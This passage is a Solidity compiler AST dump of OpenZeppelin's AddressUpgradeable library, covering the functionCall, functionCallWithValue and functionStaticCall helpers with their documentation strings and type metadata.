0"},{"typeIdentifier":"t_stringliteral_24d7ab5d382116e64324f19950ca9340b8af1ddeb09a8d026e0a3c6a01dcc9df","typeString":"literal_string \"Address: low-level call failed\""}],"id":48572,"name":"functionCallWithValue","nodeType":"Identifier","overloadedDeclarations":[48620,48664],"referencedDeclaration":48664,"src":"3818:21:37","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,uint256,string memory) returns (bytes memory)"}},"id":48577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3818:72:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48571,"id":48578,"nodeType":"Return","src":"3811:79:37"}]},"documentation":{"id":48563,"nodeType":"StructuredDocumentation","src":"2976:731:37","text":" @dev Performs a Solidity function call using a low level `call`. A\n plain `call` is an unsafe replacement for a function call: use this\n function instead.\n If `target` reverts with a revert reason, it is bubbled up by this\n function (like regular Solidity function calls).\n Returns the raw returned data. To convert to the expected return value,\n use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n Requirements:\n - `target` must be a contract.\n - calling `target` with `data` must not revert.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCall","nameLocation":"3721:12:37","parameters":{"id":48568,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48565,"mutability":"mutable","name":"target","nameLocation":"3742:6:37","nodeType":"VariableDeclaration","scope":48580,"src":"3734:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48564,"name":"address","nodeType":"ElementaryTypeName","src":"3734:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48567,"mutability":"mutable","name":"data","nameLocation":"3763:4:37","nodeType":"VariableDeclaration","scope":48580,"src":"3750:17:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48566,"name":"bytes","nodeType":"ElementaryTypeName","src":"3750:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"3733:35:37"},"returnParameters":{"id":48571,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48570,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48580,"src":"3787:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48569,"name":"bytes","nodeType":"ElementaryTypeName","src":"3787:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"3786:14:37"},"scope":48840,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48600,"nodeType":"FunctionDefinition","src":"4119:223:37","nodes":[],"body":{"id":48599,"nodeType":"Block","src":"4266:76:37","nodes":[],"statements":[{"expression":{"arguments":[{"id":48593,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48583,"src":"4305:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48594,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48585,"src":"4313:4:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"30","id":48595,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4319:1:37","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"id":48596,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48587,"src":"4322:12:37","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48592,"name":"functionCallWithValue","nodeType":"Identifier","overloadedDeclarations":[48620,48664],"referencedDeclaration":48664,"src":"4283:21:37","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,uint256,string memory) returns (bytes memory)"}},"id":48597,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4283:52:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48591,"id":48598,"nodeType":"Return","src":"4276:59:37"}]},"documentation":{"id":48581,"nodeType":"StructuredDocumentation","src":"3903:211:37","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n `errorMessage` as a fallback revert reason when `target` reverts.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCall","nameLocation":"4128:12:37","parameters":{"id":48588,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48583,"mutability":"mutable","name":"target","nameLocation":"4158:6:37","nodeType":"VariableDeclaration","scope":48600,"src":"4150:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48582,"name":"address","nodeType":"ElementaryTypeName","src":"4150:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48585,"mutability":"mutable","name":"data","nameLocation":"4187:4:37","nodeType":"VariableDeclaration","scope":48600,"src":"4174:17:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48584,"name":"bytes","nodeType":"ElementaryTypeName","src":"4174:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48587,"mutability":"mutable","name":"errorMessage","nameLocation":"4215:12:37","nodeType":"VariableDeclaration","scope":48600,"src":"4201:26:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48586,"name":"string","nodeType":"ElementaryTypeName","src":"4201:6:37","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4140:93:37"},"returnParameters":{"id":48591,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48590,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48600,"src":"4252:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48589,"name":"bytes","nodeType":"ElementaryTypeName","src":"4252:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4251:14:37"},"scope":48840,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48620,"nodeType":"FunctionDefinition","src":"4704:224:37","nodes":[],"body":{"id":48619,"nodeType":"Block","src":"4817:111:37","nodes":[],"statements":[{"expression":{"arguments":[{"id":48613,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48603,"src":"4856:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48614,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48605,"src":"4864:4:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48615,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48607,"src":"4870:5:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"416464726573733a206c6f772d6c6576656c2063616c6c20776974682076616c7565206661696c6564","id":48616,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4877:43:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_88a4a0b5e975840320a0475d4027005235904fdb5ece94df156f3d717cb2dbfc","typeString":"literal_string \"Address: low-level call with value failed\""},"value":"Address: low-level call with value failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_stringliteral_88a4a0b5e975840320a0475d4027005235904fdb5ece94df156f3d717cb2dbfc","typeString":"literal_string \"Address: low-level call with value failed\""}],"id":48612,"name":"functionCallWithValue","nodeType":"Identifier","overloadedDeclarations":[48620,48664],"referencedDeclaration":48664,"src":"4834:21:37","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,uint256,string memory) returns (bytes memory)"}},"id":48617,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4834:87:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48611,"id":48618,"nodeType":"Return","src":"4827:94:37"}]},"documentation":{"id":48601,"nodeType":"StructuredDocumentation","src":"4348:351:37","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but also transferring `value` wei to `target`.\n Requirements:\n - the calling contract must have an ETH balance of at least `value`.\n - the called Solidity function must be `payable`.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCallWithValue","nameLocation":"4713:21:37","parameters":{"id":48608,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48603,"mutability":"mutable","name":"target","nameLocation":"4743:6:37","nodeType":"VariableDeclaration","scope":48620,"src":"4735:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48602,"name":"address","nodeType":"ElementaryTypeName","src":"4735:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48605,"mutability":"mutable","name":"data","nameLocation":"4764:4:37","nodeType":"VariableDeclaration","scope":48620,"src":"4751:17:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48604,"name":"bytes","nodeType":"ElementaryTypeName","src":"4751:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48607,"mutability":"mutable","name":"value","nameLocation":"4778:5:37","nodeType":"VariableDeclaration","scope":48620,"src":"4770:13:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":48606,"name":"uint256","nodeType":"ElementaryTypeName","src":"4770:7:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4734:50:37"},"returnParameters":{"id":48611,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48610,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48620,"src":"4803:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48609,"name":"bytes","nodeType":"ElementaryTypeName","src":"4803:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4802:14:37"},"scope":48840,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48664,"nodeType":"FunctionDefinition","src":"5176:446:37","nodes":[],"body":{"id":48663,"nodeType":"Block","src":"5355:267:37","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":48641,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":48637,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"5381:4:37","typeDescriptions":{"typeIdentifier":"t_contract$_AddressUpgradeable_$48840","typeString":"library AddressUpgradeable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AddressUpgradeable_$48840","typeString":"library AddressUpgradeable"}],"id":48636,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5373:7:37","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48635,"name":"address","nodeType":"ElementaryTypeName","src":"5373:7:37","typeDescriptions":{}}},"id":48638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5373:13:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48639,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5387:7:37","memberName":"balance","nodeType":"MemberAccess","src":"5373:21:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":48640,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48627,"src":"5398:5:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5373:30:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c","id":48642,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5405:40:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_565f1a77334fc4792800921178c71e4521acffab18ff9e7885b49377ee80ab4c","typeString":"literal_string \"Address: insufficient balance for call\""},"value":"Address: insufficient balance for call"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_565f1a77334fc4792800921178c71e4521acffab18ff9e7885b49377ee80ab4c","typeString":"literal_string \"Address: insufficient balance for call\""}],"id":48634,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5365:7:37","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48643,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5365:81:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48644,"nodeType":"ExpressionStatement","src":"5365:81:37"},{"assignments":[48646,48648],"declarations":[{"constant":false,"id":48646,"mutability":"mutable","name":"success","nameLocation":"5462:7:37","nodeType":"VariableDeclaration","scope":48663,"src":"5457:12:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48645,"name":"bool","nodeType":"ElementaryTypeName","src":"5457:4:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48648,"mutability":"mutable","name":"returndata","nameLocation":"5484:10:37","nodeType":"VariableDeclaration","scope":48663,"src":"5471:23:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48647,"name":"bytes","nodeType":"ElementaryTypeName","src":"5471:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":48655,"initialValue":{"arguments":[{"id":48653,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48625,"src":"5524:4:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":48649,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48623,"src":"5498:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48650,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5505:4:37","memberName":"call","nodeType":"MemberAccess","src":"5498:11:37","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":48652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":48651,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48627,"src":"5517:5:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"5498:25:37","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":48654,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5498:31:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"5456:73:37"},{"expression":{"arguments":[{"id":48657,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48623,"src":"5573:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48658,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48646,"src":"5581:7:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":48659,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48648,"src":"5590:10:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48660,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48629,"src":"5602:12:37","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48656,"name":"verifyCallResultFromTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48795,"src":"5546:26:37","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bool,bytes memory,string memory) view returns (bytes memory)"}},"id":48661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5546:69:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48633,"id":48662,"nodeType":"Return","src":"5539:76:37"}]},"documentation":{"id":48621,"nodeType":"StructuredDocumentation","src":"4934:237:37","text":" @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n with `errorMessage` as a fallback revert reason when `target` reverts.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCallWithValue","nameLocation":"5185:21:37","parameters":{"id":48630,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48623,"mutability":"mutable","name":"target","nameLocation":"5224:6:37","nodeType":"VariableDeclaration","scope":48664,"src":"5216:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48622,"name":"address","nodeType":"ElementaryTypeName","src":"5216:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48625,"mutability":"mutable","name":"data","nameLocation":"5253:4:37","nodeType":"VariableDeclaration","scope":48664,"src":"5240:17:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48624,"name":"bytes","nodeType":"ElementaryTypeName","src":"5240:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48627,"mutability":"mutable","name":"value","nameLocation":"5275:5:37","nodeType":"VariableDeclaration","scope":48664,"src":"5267:13:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":48626,"name":"uint256","nodeType":"ElementaryTypeName","src":"5267:7:37","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":48629,"mutability":"mutable","name":"errorMessage","nameLocation":"5304:12:37","nodeType":"VariableDeclaration","scope":48664,"src":"5290:26:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48628,"name":"string","nodeType":"ElementaryTypeName","src":"5290:6:37","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5206:116:37"},"returnParameters":{"id":48633,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48632,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48664,"src":"5341:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48631,"name":"bytes","nodeType":"ElementaryTypeName","src":"5341:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5340:14:37"},"scope":48840,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48681,"nodeType":"FunctionDefinition","src":"5799:197:37","nodes":[],"body":{"id":48680,"nodeType":"Block","src":"5899:97:37","nodes":[],"statements":[{"expression":{"arguments":[{"id":48675,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48667,"src":"5935:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48676,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48669,"src":"5943:4:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"416464726573733a206c6f772d6c6576656c207374617469632063616c6c206661696c6564","id":48677,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5949:39:37","typeDescriptions":{"typeIdentifier":"t_stringliteral_90ec82aa826a536a4cbfae44ecfa384680faa9a4b77344bce96aa761ad904df0","typeString":"literal_string \"Address: low-level static call failed\""},"value":"Address: low-level static call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_90ec82aa826a536a4cbfae44ecfa384680faa9a4b77344bce96aa761ad904df0","typeString":"literal_string \"Address: low-level static call failed\""}],"id":48674,"name":"functionStaticCall","nodeType":"Identifier","overloadedDeclarations":[48681,48710],"referencedDeclaration":48710,"src":"5916:18:37","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,string memory) view returns (bytes memory)"}},"id":48678,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5916:73:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48673,"id":48679,"nodeType":"Return","src":"5909:80:37"}]},"documentation":{"id":48665,"nodeType":"StructuredDocumentation","src":"5628:166:37","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but performing a static call.\n _Available since v3.3._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionStaticCall","nameLocation":"5808:18:37","parameters":{"id":48670,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48667,"mutability":"mutable","name":"target","nameLocation":"5835:6:37","nodeType":"VariableDeclaration","scope":48681,"src":"5827:14:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48666,"name":"address","nodeType":"ElementaryTypeName","src":"5827:7:37","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48669,"mutability":"mutable","name":"data","nameLocation":"5856:4:37","nodeType":"VariableDeclaration","scope":48681,"src":"5843:17:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48668,"name":"bytes","nodeType":"ElementaryTypeName","src":"5843:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5826:35:37"},"returnParameters":{"id":48673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48672,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48681,"src":"5885:12:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48671,"name":"bytes","nodeType":"ElementaryTypeName","src":"5885:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5884:14:37"},"scope":48840,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":48710,"nodeType":"FunctionDefinition","src":"6180:326:37","nodes":[],"body":{"id":48709,"nodeType":"Block","src":"6338:168:37","nodes":[],"statements":[{"assignments":[48694,48696],"declarations":[{"constant":false,"id":48694,"mutability":"mutable","name":"success","nameLocation":"6354:7:37","nodeType":"VariableDeclaration","scope":48709,"src":"6349:12:37","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48693,"name":"bool","nodeType":"ElementaryTypeName","src":"6349:4:37","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48696,"mutability":"mutable","name":"returndata","nameLocation":"6376:10:37","nodeType":"VariableDeclaration","scope":48709,"src":"6363:23:37","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48695,"name":"bytes","nodeType":"ElementaryTypeName","src":"6363:5:37","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":48701,"initialValue":{"arguments":[{"id":48699,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48686,"src":"6408:4:37","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":48697,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48684,"src":"6390:6:37","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48698,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6397:10:37","memberName":"staticcall","nodeType":"MemberAccess","src":"6390:17:37","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":48700,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6390:23:37","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes 